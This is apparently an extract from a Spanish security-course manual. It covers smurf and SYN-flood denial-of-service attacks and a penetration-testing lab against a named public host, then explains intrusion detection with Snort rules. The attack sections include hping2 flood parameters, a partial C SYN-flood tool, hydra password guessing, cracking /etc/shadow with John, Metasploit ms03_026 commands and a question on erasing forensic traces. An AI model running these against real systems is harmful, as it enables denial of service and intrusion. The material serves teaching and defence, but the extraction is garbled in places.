Si por ejemplo, una persona logra ejecutar un ataque "smurf" por intermedio de una red (con su IP
broadcast habilitado) que tiene 40 computadores, un solo mensaje ping crear 40 respuestas. Es decir, que
un usuario con un modem de 28.8 kbps, podra generar un trfico de (28.8 * 40)kbps o 1552 kbps, cerca de
2/3 de una lnea T1.
143
2.1
Diagrama de conexiones
2.2
2.3
Desde el punto de vista del atacante, smurf genera un trfico de red del siguiente estilo:
00:00:05
00:00:05
00:00:05
00:00:05
00:00:05
00:00:05
00:00:05
victima.net
victima.net
victima.net
victima.net
victima.net
victima.net
victima.net
>
>
>
>
>
>
>
192.168.105.255:
192.168.100.255:
192.168.104.255:
192.168.104.0:
192.168.105.255:
192.168.105.0:
192.168.106.255:
icmp:
icmp:
icmp:
icmp:
icmp:
icmp:
icmp:
echo
echo
echo
echo
echo
echo
echo
request
request
request
request
request
request
request
Ac se puede observar que se realizan varios icmp echo request a diferentes direcciones broadcast que en
este caso particular se encuentran en una misma red, dichos paquetes llevan como direccin origen
victima.net que ser la mquina vctima.
Cada uno de estos paquetes icmp echo reply tienen una estructura particular, los cuales vistos a travs de
TCPDUMP nos permite dar el siguiente ejemplo:
04:19:31.800000 1.2.3.4 > 192.168.5.5: icmp: echo reply (DF)
4500 0028 b5cb 4000 fe01 b229 0102 0304
c0a8 0505 0000 bc9c bf3c f001 0018 f81b
000d d5f0 000d 63e8 0000 0000 0000
144
En Internet se pueden encontrar diferentes programas ya implementados sobre todo en lenguaje C que
aplican y ejecutan este tipo de ataque. El comando mas utilizado para estos ataques es hping2.
2.4
2.4.1
Problema:
Suponiendo que nos encontramos en la red del apartado anterior, miremos la instruccin hping2 que se
usara para lanzar un ataque smurf contra la maquina vctima 10.30.45.45
2.4.2
2.4.3
Parmetro
10.30.255.255
-spoof 10.30.30.45
--icmp
-C o --icmp-request
-y
-V
-d 56
Descripcin
Red que se usara como medio para atacar a la
maquina, es el campo destino del paquete
IP, el
objetivo es hacerle echo-request a cada una de las
maquinas de la red.
IP de la maquina a atacar, campo de la IP fuente del
paquete IP, a esta IP las maquinas de la red le
enviaran un icmp-reply hasta saturarla y colapsarla.
Indica el protocolo que se usara, en este caso es
icmp
Indica el tipo de paquete ICMP, para este caso icmprequest que es el defecto. Por favor no use ambas
opciones pues el comando fallara.
Indica que no fragmente los paquetes
Muestra informacin adicional de lo que esta
ocurriendo
Tamao de los datos a enviar, 56 es el estndar del
comando ping
-i u500000, para 2
-i u333333, para 3
145
2.4.7
Respuesta:
2.4.5
Deben existir varias maquinas en la red de tal forma que todas respondan con icmp-reply a la
vctima hasta inundarla
Si el servidor esta blindado para no responder a los paquetes icmp-request este ataque no tendr
efecto.
Debe inundarse la red con muchos paquetes por segundo para que el ataque sea efectivo.
# tcpdump -i eth0 -l
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on lo, link-type EN10MB (Ethernet), capture size 96 bytes
3.0
El ataque TCP/SYN Flooding se basa en no completar intencionalmente el protocolo de intercambio TCP para
inundar la cola de espera. La vctima se queda esperando por establecer un servicio pues el atacante no
responde con ACK los SYN/ACK de la vctima, esto ocurre hasta saturar los recursos de memoria y as
consigue la denegacin de servicios de la vctima.
La denegacin de servicios se da por que el sistema
generalmente es 1 minuto para aceptar mas conexiones,
temporizador de 1 minuto, cuando se excede el limite
mantiene el estado de la conexin y la cuenta de la cola de
Es importante aclarar que el atacante debe usar un IP falso para que no le hagan seguimiento a las
conexiones.
146
3.1
Origen
IP=1.2.3.4 SYN
IP=1.2.3.4 SYN/ACK
Nunca responde con ACK
Se repite la secuencia de requerimiento
Cualquier IP cliente pide servicio al servidor
Destino
IP=10.30.30.45
IP=10.30.30.45
El IP=10.30.30.45 guarda en la cola la peticin de
conexin por 1 minuto
El IP=10.30.30.45 se satura por tanto requerimiento
encolado y ocurre el DoS
El IP=10.30.30.45 no puede atender requerimientos
pues esta en medio de un ataque DoS. Solamente
cuando cese el ataque automticamente se atienden
los requerimientos de los clientes
3.2
3.2.1
3.2.2
Parmetro
10.30.30.45
Descripcin
IP de la Vctima
--rand-source
--debug
-S
--destport
--faster
-w 2048
147
3.2.3
Respuesta:
3.2.4
Si el servidor esta blindado con un firewall que sea stateful entonces el servidor vctima ser capaz
de revisar las sesiones y se dar cuenta del ataque en curso. Esto har que el ataque fracase.
Si el servidor es un Linux
puede que se contengan los ataques activando la variable
IP_TCP_SYNCOOKIES=yes dentro del archivo /etc/sysconfig/sysctl
Debe inundarse la red con muchos paquetes por segundo para que el ataque sea efectivo.
Esta es la opcin de preferencia para un ataque SYN DoS, pues no tiene lmite en el envo de paquetes, se
nota de inmediato por la baja de velocidad cuando estamos navegando:
by l0om
*/
#include <stdio.h>
#include <string.h>
#include <sys/time.h>
#include <signal.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#define __FAVOR_BSD
#include <netinet/tcp.h>
#define
RANDVAL()
(rand()%255)
ssize_t tcpsend(u_int saddr, u_int daddr, unsigned short sport, unsigned short dport, unsigned char flags,
char *data, unsigned short datalen);
unsigned short in_cksum(unsigned short *ptr, int nbytes);
148
void help(void);
void header(void);
static void sig_int(int sig);
struct pseudohdr {
unsigned long saddr;
unsigned long daddr;
char useless;
unsigned char protocol;
unsigned short length;
};
unsigned long sent = 0;
ssize_t tcpsend(unsigned int saddr, unsigned int daddr, unsigned short sport,
unsigned short dport, unsigned char flags, char *data,
unsigned short datalen)
{
char *packet;
struct iphdr *ip;
149
150
SYN-FLOOD
###################l0om
151
4.0
Agradecimientos:
Se le agradece al Ing. Juan Francisco Torres de la Universidad de los Andes, Colombia, por las mejoras
sugeridas para este laboratorio, juan.francisco@globalteksecurity.com
4.1
Origen
Atacante hace ping a vctima
Destino
Vctima no responde si tiene firewall activado para
no reponder a icmp-request
versin 2
152
4.2
Objetivo:
Verificar que ya se cuenta con un IP, comando ifconfig, si no tiene IP entonces solamente deber
ver la tarjeta de red loopback
Se recomienda usar maquinas virtuales para emular los diferentes sistemas operativos.
Las pruebas realizadas para exploracin y uso de ataques pueden comprometer los sistemas
utilizados, nunca deben hacerse sin previo conocimiento de los administradores de los sistemas
evaluados.
En cada pas existen diferentes leyes hasta de tipo penal, por favor no haga este laboratorio con
servidores reales sin previa autorizacin del dueo del mismo.
153
Paso 3: Primer intento de ataque sobre la vulnerabilidad WEBDAV del servidor MS IIS
Dado que el puerto 80 esta abierto, es posible utilizar uno de los exploits disponibles para este puerto.
Se utilizara uno de los disponibles en la herramienta backtrack , en este caso se intentara realizar el ataque
Exploit WebDav sobre este puerto
Para ello, se debe cargar el Live CD de esta herramienta, y entrar a la linea de comandos como root y
clave toor.
Busque el programa que hace el exploit en internet como rs_iis.c compilelo hacia el ejecutable rs_iis.exe:
# gcc o rs_iis.exe
rs_iis.c
154
155
NOTA: El ataque ser exitoso nicamente si el servidor Web en el puerto 80 tiene la vulnerabilidad de la que
aprovecha el ataque, de lo contrario, el ataque reportar que el servidor no es vulnerable:
Puerto
Severidad
Descripcin
Factor
riesgo
de
epmap
(135/tcp)
Hole
The remote host has multiple bugs in its RPC/DCOM Critical / CVSS
implementation (828741).
Base Score : 10
An attacker may exploit one of these flaws to execute
arbitrary code on the remote system.
exosee
(1027/tcp)
Hole
microsoftds
(445/tcp)
Hole
156
Puerto
Severidad
Descripcin
Factor
riesgo
smtp
(25/tcp)
Hole
de
SMTP
157
Figura 4-6: Exploit msrpc_dcom_ms03_026 del servicio 445 con fallas RPC
El exploit permitio inyectar una linea de comandos en el servidor, la cual se puede operar directamente. De
esta manera, se tiene acceso al disco duro del servidor atacado, para consultar informacin dentro del
mismo.
158
>
4.3
Prctica:
Pruebas de penentracion a una arquitectura de red basado en caja negra para la IP Pblica del
dominio lacositarica.dyndns-work.com
Objetivos:
Generar en el investigador la capacidad de entender que las pruebas de penetracin deben ser
planeadas y tratadas en forma sistemtica para obtener los resultados buscados
Familiarizar al investigador en un entorno real con las fallas ms usuales de los sistemas
informticos y las herramientas que le pudieran ayudar a mejorar la seguridad informtica
Especficamente el investigador debe penetrar dos servidores en red que estn detrs de un
firewall, en donde el segundo servidor contiene informacin confidencial en el archivo/fichero
"porfin.txt"
Antecedentes:
Las diferentes metodologas para hacking tico generalmente siguen los siguientes pasos como se
enumeran en el siguiente diagrama:
Las pruebas realizadas para exploracin y ataques pueden comprometer los sistemas informticos,
por ello nunca deben hacerse sin previo conocimiento de los administradores de los sistemas
evaluados
En algunos pases existen leyes penales que prohben estas prcticas no autorizadas, por ejemplo
en Colombia la ley 1273 de enero de 2009 condena hasta 48 meses de prisin a una persona por
invadir un sistema informtico en forma no autorizada
Por favor no haga este laboratorio con servidores reales sin previa autorizacin de sus dueos
La IP lacositarica.dyndns-work.com est autorizada explcitamente por el autor de este
texto para hacer estas pruebas de penetracin de carcter acadmico que busca
demostrar pruebas de conceptos en pruebas de penetracin y bsqueda de
vulnerabilidades
159
Herramientas:
ACTIVIDADES
Paso 1: Reconocimiento de la vctima
Inicialmente se debe realizar un ping a la IP de la vctima para verificar que este se encuentra
supuestamente disponible, esto tambin permite intuir si existe un mecanismo de proteccin perimetral
adicional como un firewall que pueda impedir la respuesta del ping y hacer que el atacante crea que este
servidor est apagado o no existe en la red:
# ping lacositarica.dyndns-work.com
Un servidor Windows configurado como firewall generalmente no responder a la herramienta ping, un
firewall de permetro podra estar delante del servidor vctima y podra impedir la respuesta del firewall al
ping del atacante
Razonamiento del investigador:
a) Qu respuesta obtiene de la herramienta ping de esta prctica?
Respuesta del investigador/Auditor:
b) Explique cmo funciona en TCP/IP el requerimiento ICMP-Request que utiliza la herramienta ping?
Respuesta del investigador/Auditor:
c) Quin es el proveedor de este IP pblico, tiene un nombre DNS registrado, que herramienta uso para
buscar esta informacin?
Respuesta del investigador/Auditor:
d) Esta IP est en listas negras de spammers, en que portales busc esta informacin?
Respuesta del investigador/Auditor:
160
b) Qu sistema operativo usa el servidor vctima segn la herramienta nmap, cual es la opcin en nmap
que averigua el sistema operativo de la victima?
Respuesta del investigador/Auditor:
c) muestre los pasos de instalacion y configuracion de la herramienta utilizada para buscar las fallas en la
vctima?
Respuesta del investigador/Auditor:
161
c) Si no pudo penetrar con un exploit, qu estrategia utiliz para penetrarlo, por ejemplo adivin la clave de
algun administrador del sistema, uso herramientas como hydra y medusa, muestre la sintaxis del comando
utilizado?
Pistas: Por ejemplo esta instruccion nos muestra en pantalla si existe el usuario root con alguna clave que
exista en el diccionario "password.lst" contenida en el linux backtrack:
# hydra -t 8 -f -l root -P password.lst lacositarica.dyndns-work.com ssh
Respuesta del investigador/Auditor:
d) Cul es la IP real, Mac Address, Mascara de red, Gateway, servidores DNS y nombre del primer servidor
penetrado?
Respuesta del investigador/Auditor:
f) Existen ms interfaces de red en este primer servidor penetrado, cuales son las IP adicionales?
Respuesta del investigador/Auditor:
h) Cual es el password del usuario acarvaja del primer servidor hackeado, cuan fuertes son las claves de los
usuarios en ese servidor?
Pistas: Por ejemplo al entrar a un servidor linux por algun mtodo y usar la herramienta "john the ripper" se
podran romper las claves de los usuarios del sistema, un ejemplo prctico con esta herramienta se debera
ejecutar asi:
./john /etc/shadow
Respuesta del investigador/Auditor:
162
c) Describa las opciones -v, -O y -P0 de la herramienta nmap, en especial que tcnica de exploracin usa
este ejemplo de la herramienta nmap con los parametros utilizados?
Respuesta del investigador/Auditor:
d) Qu pasara con el tiempo de exploracin de las herramientas si cambiamos la mscara de red de 24 bits
a 16 bits?
Respuesta del investigador/Auditor:
b) Qu herramienta utiliz para penetrar en las fallas de la segunda vctima de la red protegida, en que
directorio del primer servidor descarg la herramienta de exploits para entrar al segundo servidor?
Respuesta del investigador/Auditor:
c) Muestre las lneas de comandos de la herramienta que utiliz para hacer el exploit?
Tip: El framework metasploit que viene incluido en linux backtrack puede penetrar a los servidores windows
2003 que no tienen suplementos a la fecha por el puerto 445, as:
# ./msfconsole
Msf > use msrpc_dcom_ms03_026
Msf > set PAYLOAD win32_bind
exploit
163
...
Respuesta del investigador/Auditor:
d) Cul es la IP, Mac Address, Mascara de red, Gateway y versin del segundo servidor penetrado?
Respuesta del investigador/Auditor:
e) Qu deca el archivo/fichero de tipo confidencial que reside en el directorio raz "porfin.txt" del segundo
servidor penetrado?
Respuesta del investigador/Auditor:
b) Describa teoricamente el procedimiento de borrado de huellas a nivel forense, no olvide que el sistema
operativo debe quedar operativo?
Respuesta del investigador/Auditor:
d) Ser prudente desactivar ssh y cambiarlo por una VPN, razone su respuesta?
Respuesta del investigador/Auditor:
c) Muestre especificamente en detalle como soluciono la vulnerabilidades de configuracion del archivo plano
/etc/configuracion.txt?
Respuesta del investigador/Auditor:
d) Muestre el resultado de la investigacion de cmo inlcuirle a la aplicacin web metodos de autenticacion
por certificado digital, huella dactilar, matriz con numeros, menjaes SMS, tokens de numeros OTP?
Respuesta del investigador/Auditor:
164
165
5.0
5.1
5.2
5.3
5.4
5.5
6.0
Bibliografa Relacionada
www.metasploit.org
www.excluded.org
www.nessus.org
www.saintcorporation.com
166
Captulo 5
Sistemas para la deteccin de
intrusiones
Objetivos:
TIPOS DE IDS
167
Los IDS buscan patrones previamente definidos que impliquen cualquier tipo de actividad
sospechosa o maliciosa sobre la red o host
Los IDS aportan a la seguridad una capacidad de prevencin y de alerta anticipada ante
cualquier actividad sospechosa. No estn diseados para detener un ataque, aunque s pueden
generar ciertos tipos de respuesta ante stos
Los IDS: Vigilan el trfico de la red, examinan los paquetes analizndolos en busca de datos
sospechosos y detectan las primeras fases de cualquier ataque como pueden ser el anlisis de la
red, barrido de puertos, etc.
2.0
Tipos de ids
2.1
2.1.1
Protege contra un nico Servidor, PC o host. Monitorean gran cantidad de eventos, analizando actividades
con una gran precisin, determinando de esta manera qu procesos y usuarios se involucran en una
determinada accin. Recaban informacin del sistema como archivos, logs, recursos, etc, para su posterior
anlisis en busca de posibles incidencias. Todo ello en modo local, dentro del propio sistema. Fueron los
primeros IDS en desarrollar por la industria de la seguridad informtica.
2.1.2
Protege un sistema basado en red. Actan sobre una red capturando y analizando paquetes de red, es decir,
son sniffers del trfico de red. Luego analizan los paquetes capturados, buscando patrones que supongan
algn tipo de ataque.
Bien ubicados, pueden analizar grandes redes y su impacto en el trfico suele ser pequeo. Actan mediante
la utilizacin de un dispositivo de red configurado en modo promiscuo (analizan,"ven" todos los paquetes
que circulan por un segmento de red aunque estos nos vayan dirigidos a un determinado equipo). Analizan
el trfico de red, normalmente, en tiempo real.
*A este tipo de IDS pertenece Snort.
2.1.3
DNIDS
Este tipo de IDS, ms que proteger, monitorea la actividad entre varias redes. Tiene una visin global pues
su arquitectura es distribuida
2.2
2.2.1
Pasivos
Son aquellos IDS que notifican a la autoridad competente o administrador de la red mediante el sistema
que sea, alerta, etc. Pero no acta sobre el ataque o atacante.
2.2.2
Activos
Generan algn tipo de respuesta sobre el sistema atacante o fuente de ataque como cerrar la conexin o
enviar algn tipo de respuesta predefinida en la configuracin.
Snort puede funcionar de las dos maneras.
168
3.
Arquitectura de un ids
ARQUITECTURA DE UN IDS
Los
Estos sensores recogen datos a nivel de trafico de red como es el anlisis de datagramas que pasan por las
interfaces de red analizando las cabeceras IP, este tipo de sensor trabaja de forma no intrusiva lo cual no
afecta el rendimiento de las maquinas de la red, son independientes del sistema operativo. Este tipo de
sensores pueden llegar atener problemas en redes de alta velocidad o en redes cifradas.
3.1.3
Estos capturan la informacin de aplicaciones que se estn ejecutando, tambin pueden tener una gran
densidad de datos y pueden repercutir en el rendimiento de la maquina.
3.2
Procesadores de eventos
Son conocidos como analizadores, conforman el ncleo central del sistema de deteccin. Tienen la
responsabilidad de operar sobre la informacin recogida por los sensores para poder inferir posibles
intrusiones.
3.2.1
Deteccin de anomalas:
La idea es a priori: estos modelos de deteccin conocen lo que es `normal' en nuestra red o nuestras
mquinas a lo largo del tiempo, desarrollando y actualizando conjuntos de patrones contra los que comparar
los eventos que se producen en los sistemas. Si uno de esos eventos (por ejemplo, una trama procedente de
169
una mquina desconocida) se sale del conjunto de normalidad, automticamente se cataloga como
sospechoso.
Los IDS de deteccin de anomalas se basan en la premisa de que cualquier ataque o intento de ataque
implica un uso anormal de los sistemas.
3.2.2
Dentro de la clasificacin de los sistemas de deteccin de intrusos en base a su forma de actuar, la segunda
gran familia de modelos es la formada por los basados en la deteccin de usos indebidos. Este esquema se
basa en especificar de una forma ms o menos formal las potenciales intrusiones que amenazan a un
sistema y simplemente esperar a que alguna de ellas ocurra; para conseguirlo existen cuatro grandes
aproximaciones: los sistemas expertos, los anlisis de transicin entre estados, las reglas de comparacin y
emparejamiento de patrones (pattern matching) y la deteccin basada en modelos.
3.3
Unidades de respuesta
Se encargan de iniciar acciones de respuesta en el momento en que se detecta un ataque o intrusin. Las
acciones pueden ser automticas o activas o pueden requerir interaccin humana (pasivas).
3.4
Elementos de almacenamiento
Los sensores recogen tanta informacin que se pueden clasificar en de mediano y largo plazo. El tiempo de
almacenamiento de informacin a medio plazo puede ser del orden de dos o tres das, con el objetivo de ser
analizada por el administrador del sistema.
3.5
Resumen
La fuente de recogida de datos. Estas fuentes pueden ser un log, dispositivo de red, o como
en el caso de los IDS basados en host, el propio sistema.
Reglas que contienen los datos y patrones para detectar anomalas de seguridad en el sistema.
Filtros que comparan los datos que se les ha hecho sniff de la red o de logs con los
patrones almacenados en las reglas.
Detectores de eventos anormales en el trfico de red.
Dispositivo generador de informes y alarmas. En algunos casos con la sofisticacin suficiente
como para enviar alertas via e-mail, o SMS.
4.0
Decodificador de paquetes
Motor de deteccin
Loggins y alertas
Una actitud paranoica por parte del usuario o administrador podra llevar a instalar un IDS en cada host
en cada tramo de red. Esto ltimo sera un tanto lgico cuando se trata de grandes redes.
Lo lgico sera instalar el IDS en un dispositivo por donde pase todo el trfico de red que interese.
4.1
Un problema de los IDS es cuando se quiere implementarlos en redes conmutadas (HUBS) ya que
no hay segmentos de red por donde pase todo el trfico.
170
Otro problema para un IDS son las redes con velocidades de trfico muy altas en las cuales es
difcil procesar todos los paquetes.
4.2
4.2.1
Si se coloca el IDS antes del cortafuego se capturara todo el trfico de entrada y salida de la red.
La posibilidad de falsas alarmas es grande.
La colocacin detrs del cortafuego monitorea todo el trfico que no sea detectado y parado por
el firewall o cortafuegos, por lo que ser considerado como malicioso en un alto porcentaje de
los casos. La posibilidad de falsas alarmas muy inferior.
Algunos administradores de sistemas colocan dos IDS, uno delante y otro detrs del cortafuegos
para obtener informacin exacta de los tipos de ataques que recibe la red ya que si el cortafuegos
est bien configurado puede parar o filtras muchos ataques.
4.2.2
4.2.3
5.0
Snort
SNORT es un sistema de deteccin de intrusos en tiempo real y basado en red muy potente. Este sistema
sigue el planteamiento de colocar una mquina con un interfaz promscuo que monitorice el trfico que
circula por la red, de este modo SNORT busca patrones que hagan presagiar que se esta desencadenando un
ataque sobre la red que este monitoriza.
Al igual que logcheck y siguiendo la arquitectura general, el sistema incorpora paquetes de reglas para
realizar chequeos determinados sobre el trfico de red, en este caso categorizados en diversos grupos como
smtp.rules, ddos.rules, etc.
Otra de las grandes virtudes de SNORT es que incorpora un sistema bastante sencillo para escribir las
propias reglas, de modo que se puedan adaptar a los requerimientos reescribiendo las reglas para los
incidentes que se desea monitorizar.
5.1
Definicion de Snort
171
SNORT
5.2
Licencia de uso
Snort (www.snort.org) inicio bajo licencia GPL y funciona bajo plataformas Windows y UNIX/Linux.
Es uno de los ms usados y dispone de una gran cantidad de filtros o patrones ya predefinidos, as como
actualizaciones constantes ante casos de ataques, barridos o vulnerabilidades que vayan siendo
detectadas a travs de los distintos boletines de seguridad.
Este IDS implementa un lenguaje de creacin de reglas flexibles, potentes y sencillas.
Durante su instalacin provee cientos de filtros o reglas para backdoor, ddos, finger, ftp, ataques web, CGI,
escaneos Nmap....
5.3
Funcionamiento de snort
Puede funcionar como sniffer (se puede ver en consola y en tiempo real qu ocurre en la red, todo el
trfico), registro de paquetes (permite guardar en un archivo los logs para su posterior anlisis, un
anlisis offline) o como un IDS normal (en este caso NIDS).
Para que snort funcione como un sniffer debe digitar el siguiente comando:
# snort de y l logs i ethxx
Donde la opcin d indica dump, es decir que tome el trafico de red
La opcin e indica que describa las cabeceras, esta opcin muestra las MAC Address del receptor y emisor.
La opcin y indica que se incluya el anio.
La opcin l logs indica que el directorio logs se usar para guardar alertas y el trfico de red en formato
tcpdump.
La opcin i ethxx indica que se ponga en modo promiscuo en la interface de red ethxx.
Nota: Si se utiliza la opcin v se vera el trafico en la pantalla en vivo pero se perderan paquetes.
172
Para que snort funcione como NIDS se debe digitar el siguiente comando:
# snort de y c /etc/snort/snort.conf l logs i ethxx
Donde la opcin d indica dump, es decir que tome el trafico de red
La opcin e indica que describa las cabeceras, esta opcin muestra las MAC Address del receptor y emisor.
La opcin y indica que se incluya el anio en la fecha.
La opcin l logs indica que el directorio para guardar las alertas y el trafico en formato tcpdump ser logs
La opcin c es la nica que permite leer las reglas y por lo tanto es la opcin que lo activa como
NIDS.
La opcin i ethxx indica que se ponga en modo promiscuo en la interface de red ethxx.
La colocacin de Snort en la red puede realizarse segn el trfico que se desea vigilar: paquetes que
entran, paquetes salientes, dentro del firewall, fuera del firewall... y en realidad prcticamente donde
queramos.
Una caracterstica muy importante e implementada desde hace pocas versiones es FlexResp.
Permite, dada una conexin que emita trfico malicioso, darla de baja, hacerle un DROP mediante el envo
de un paquete con el flag RST activa, con lo cual cumplira funciones de firewall, cortando las conexiones
que cumplan ciertas reglas predefinidas. No slo corta las conexiones ya que puede realizar otras muchas
acciones.
5.4
Alert: Permite conocer que cosas interesantes estn pasando, adems permite hacer dos cosas, escribir un
evento basado en alguna facilidad como email o mensajes SMS que no se recomienda por los timeouts o
retardos introducidos y adems permite escribir en log en un archivo llamado alert de lo que ocurri.
Log: Permite nicamente hacer pistas de los paquetes sin generar alertas. Generalmente se crean en un
directorio con el IP del remitente de los paquetes y dentro de este el log del puerto en un archivo.
5.5
173
Puerto origen (16 bits). Puerto de la mquina origen. Al igual que el puerto destino es necesario
para identificar la conexin actual.
Nmero de secuencia (32 bits). Indica el nmero de secuencia del primer byte que trasporta el
segmento.
Nmero de acuse de recibo (32 bits). Indica el nmero de secuencia del siguiente byte que se
espera recibir. Con este campo se indica al otro extremo de la conexin que los bytes anteriores se
han recibido correctamente.
Posicin de los datos (4 bits). Longitud de la cabecera medida en mltiplos de 32 bits (4 bytes).
El valor mnimo de este campo es 5, que corresponde a un segmento sin datos (20 bytes).
Reservado (6 bits). Bits reservados para un posible uso futuro.
Bits de cdigo o indicadores (6 bits). Los bits de cdigo determinan el propsito y contenido del
segmento. A continuacin se explica el significado de cada uno de estos bits (mostrados de
izquierda a derecha) si est a 1:
Ventana (16 bits). Nmero de bytes que el emisor del segmento est dispuesto a aceptar por parte
del
destino.
Suma de verificacin (24 bits). Suma de comprobacin de errores del segmento actual. Para su
clculo se utiliza una pseudo-cabecera que tambin incluye las direcciones IP origen y destino.
Puntero de urgencia (8 bits). Se utiliza cuando se estn enviando datos urgentes que tienen
preferencia sobre todos los dems e indica el siguiente byte del campo Datos que sigue a los datos
urgentes. Esto le permite al destino identificar donde terminan los datos urgentes. Ntese que un
mismo segmento puede contener tanto datos urgentes (al principio) como normales (despus de los
urgentes).
Opciones (variable). Si est presente nicamente se define una opcin: el tamao mximo de
segmento que ser aceptado.
Tambin se puede usar junto a MySQL o Microsoft SQL, ejecutando consultas SQL a una base de
datos. Guarda logs tambin en formato XML. No se limita slo al anlisis de los protocolos tpicos
como ftp, smtp, http, pop3, telnet ... , adems analiza otros: ethernet, arp, decnet, lat, rarp.
174
Recompone trfico fragmentado, analiza trfico tipo BackOrifice (independientemente del puerto
usado), es capaz de "ver" datos del tipo decode o unicode, traceroute, pings.
Puede actuar como antivirus, aunque esta opcin no es muy recomendable. Es mejor dejar esta tarea a
aplicaciones especializadas para ello.
Snort como sniffer se basa en las libreras de captura de paquetes libcap que provee a snort de la
capacidad de sniffer de paquetes. En windows la librera sera WinPCAP http://winpcap.polito.it/
Snort puede, para su fcil configuracin y gestin, usarse mediante una interfaz grfica como ACID o
IDSCenter, es una interface grfica que sirve para configurar todas las caractersticas de Snort como
alertas, tests, reglas, variables, funcionamiento junto a MySQL o BlackIce Defender, rotacin de logs,
notificaciones via mail o sonido, plugins, preprocesadores, FlexResp.
Dentro del lenguaje Snort de rules (reglas) se presenta el uso intensivo de nociones de TCP/IP, en
concreto de TCP, flag, nmeros de secuencia, etc, por lo cual es imprescindible su repaso para una
mejor comprensin.
Recomendado el uso tambn de software de captura de paquetes tipo Ethereal o
TCPdump/Windump para ver en un escenario real la funcin de las nociones aprendidas sobre TCP como:
175
6.1
Las reglas de Snort se pueden dividir en dos secciones lgicas, a saber: cabecera de la regla y opciones:
6.1.1
6.1.2
La cabecera contiene la accin de la regla en s, el protocolo, IPs, mscaras de red, puertos origen
y destino y destino del paquete o direccin de la operacin
La seccin opciones contiene los mensajes y la informacin necesaria para la decisin a tomar por
parte de la alerta en forma de opciones.
6.2
OPCIONES
Accin
Protocolos involucrados
Direcciones IP
Nmeros de puerto
Direccin de la operacin
Mensaje
Opciones de decisin
6.3
Ejemplo 1:
Ahora se presenta un ejemplo de regla Snort para alertar de un escaneo nmap del tipo
TCP ping:
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"Escaneo ping con
nmap";flags:A;ack:0; reference:arachnids,28;classtype:attempted-recon; sid:628; rev:1;)
Analizando esta alerta:
CABECERA
OPCIONES
176
Mensaje: msg
Opciones: flags:A;ack:0; reference:arachnids..(1)
flags:A Establece el contenido de los flags o banderas TCP, en este caso ACK (puede tener
varios valores y operadores).
ack:0 Caso particular para valor ACK=0, es el valor que pone nmap para TCP ping scan.
reference:arachnids,28 Referencia un a un Advisory, alerta tipo Bugtrac, etc.
classtype:attempted-recon Categora de la alerta segn unos niveles predefinidos y
prioridades.
sid:628 Identificacin nica para esta regla snort
Ejemplo 2:
alert tcp any 110 -> any any (msg:"Virus - Posible Virus-Worm";
content: "filename=\"TIMOFONICA.TXT.vbs\""; nocase;
reference:MCAFEE,98674; sid:799; classtype:misc-activity;
rev:3;)
Las reglas anteriores detectan virus dirigidos desde el servidor POP3 hacia los clientes de correo.
Ejemplo 3:
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg: "Peligro estn descargando MP3";flags:
AP; content: ".mp3";)
En las lneas anteriores se crea una regla para detectar descargas de archivos *.MP3.
Ejemplo 4:
Crear una regla Snort "desde ceros" para la deteccin de ping desde Windows.
Antecedentes:
Para detectar un ping realizado desde fuera de la red, lo primero que se debe saber es qu tipo de datos
intervienen en la cabecera del datagrama IP, en la ICMP y los datos.
a.
b.
As que la cuestin es cmo averiguar el resto de datos y, sobre todo, qu traza deja un ping enviado
desde MS Windows.
*Formato de peticin y respuesta de eco. Ping echo / echo request:
177
Para todo esto se cuenta con un tipo de herramientas llamadas sniffers. Se Utilizar para la prctica
Ethereal por ser de los ms intuitivos y fciles de usar e interpretar. Se puede usar tambin
TCPDump/Windump.
1.
2.
3.
4.
Segundos antes de enviar un ping desde un host emisor pulsamos en Ethereal: Capture > Start.
En el host receptor se activa el capturador de paquetes.
Se envia el ping al host receptor, dejando unos segundos para que "termine" el ping y pulsamos
Stop en el panel de captura del host receptor
Se busca en la secuencia de captura o traza, la informacin de envo de ping usando el protocolo
ICMP.
dsize: tamao de datos. comprobacin del tamao del contenido del paquete.
itype: tipo de icmp, en este caso para un ping es 8.
depth: extensin del tamao de datos que se ha de inspeccionar.
De estos ejemplos se desprende que para la creacin de la mayora de las reglas Snort el procedimiento es
estudiar las trazas dejadas por cortafuegos y NIDS que supongan algn tipo de ataque o intrusin al
sistema que se quiere proteger.
Ejemplo 5:
log tcp any any -> 192.168.100.10 80 (msg:WEB;)
Esta regla indica que nicamente se debe hacer log de los paquetes de tipo TCP que vengan de cualquier ip
y de cualquier puerto externo hacia el IP interno 192.168.100.10 puerto 80, el mensaje que debe quedar en
los logs es la palabra WEB.
Esta accin log no genera alertas.
Ejemplo 6:
alert icmp any any -> 192.168.100.10 any (itype:8;msg:PING;)
Esta regla indica que se debe hacer una alerta, es decir se debe generar un mensaje de alerta que diga
PING dentro del archivo alert del directorio de logs que filtre nicamente los paquetes ICMP que vengan
de cualquier IP y puerto externo hacia el IP interno 192.168.100.10 para cualquier puerto, si el flag itype es
de tipo 8, es decir es un request entonces se debe escribir el mensaje PING en el archivo de alertas alert.
178
7.0
7.1
Semejanzas
7.2
179
8.0
8.1
Objetivo:
Usar SNORT como NIDS. En esta parte trabajaremos con la herramienta Snort, que se puede descargar de
http://www.snort.org.
En esta pagina web tambin existe informacin y documentacin sobre la herramienta.
Para Windows se necesitan las libreras de captura de tramas WinPCAP (http://winpcap.polito.it).
8.2
Prerrequisitos:
8.3
Problemtica:
8.3.1
Defina las reglas que detecten un intento de acceso desde la
(192.168.100.0/24) a cualquier IP a los puertos del 1000 al 1024 (UDP y TCP).
red
interna
alert tcp 192.168.100.0/24 any -> any 1000:1024 (msg:Intento de acceso tcp 1000:1024;sid:1;)
alert udp 192.168.100.0/24 any -> any 1000:1024 (msg:Intento de acceso udp 1000:1024;sid:2;)
Suba snort en modo NIDS con el comando:
# snort de y c /etc/snort/snort.conf l logs i ethxx
Desde el cliente 192.168.100.12 se hace un telnet a un puerto que no tiene asociado ningn servicio:
# telnet 192.168.100.11 1000
Y se obtiene el siguiente archivo de alertas alert
[**] [1:0:0] Intento de acceso tcp [**]
[Priority: 0]
06/08-23:18:49.015811 192.168.100.12:3060 -> 192.168.100.11:1000
TCP TTL:128 TOS:0x0 ID:551 IpLen:20 DgmLen:48 DF
******S* Seq: 0xAECD96F5 Ack: 0x0 Win: 0xFAF0 TcpLen: 28
TCP Options (4) => MSS: 1460 NOP NOP SackOK
8.3.2
